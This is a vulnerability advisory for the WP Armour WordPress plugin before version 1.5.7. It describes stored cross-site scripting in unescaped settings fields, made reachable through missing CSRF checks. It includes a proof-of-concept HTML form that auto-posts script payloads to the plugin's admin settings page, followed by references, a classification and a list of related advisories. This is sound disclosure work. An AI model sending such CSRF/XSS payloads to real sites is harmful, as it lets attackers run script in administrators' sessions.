WP Amour < 1.5.7 – Authenticated Stored Cross-Site Scripting (XSS) | Plugin Vulnerabilities

Description

The plugin did not sanitise and escape its setting fields, leading to Stored Cross-Site Scripting issues. Furthermore, the lack of CSRF checks could also allow attackers to trigger the XSS via CSRF attacks against a logged in administrator

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp-armour" method="POST">
      <input type="hidden" name="wpa_field_name" value='"><script>alert(/XSS-Field/)</script>' />
      <input type="hidden" name="wpa_error_message" value='"><script>alert(/XSS-Error/)</script>' />
      <input type="hidden" name="submit-wpa-general-settings" value="Save General Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 1.5.7

References

URL

https://plugins.trac.wordpress.org/changeset?new=2463499%40honeypot&old=2448055%40honeypot

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Verified

Yes

WPVDB ID

fe403a7f-99ed-4cb3-9000-1d1f3cc98f1a

Timeline

Publicly Published

2021-02-08 (about 5 years ago)

Added

2021-02-08 (about 5 years ago)

Last Updated

2021-02-08 (about 5 years ago)

Other

Published

Title

Published

2025-04-01

Title

Turisbook Booking System <= 1.3.8 - Contributor+ Stored XSS

Published

2024-03-29

Title

pageMash > Page Management <= 1.3.0 - Reflected Cross-Site Scripting

Published

2024-01-05

Title

Restrict Usernames Emails Characters Plugin < 3.1.4 - Admin+ Stored XSS

Published

2025-04-16

Title

Rescue Shortcodes < 3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-11-22

Title

GuardGiant Brute Force Protection <= 2.2.6 - Reflected Cross-Site Scripting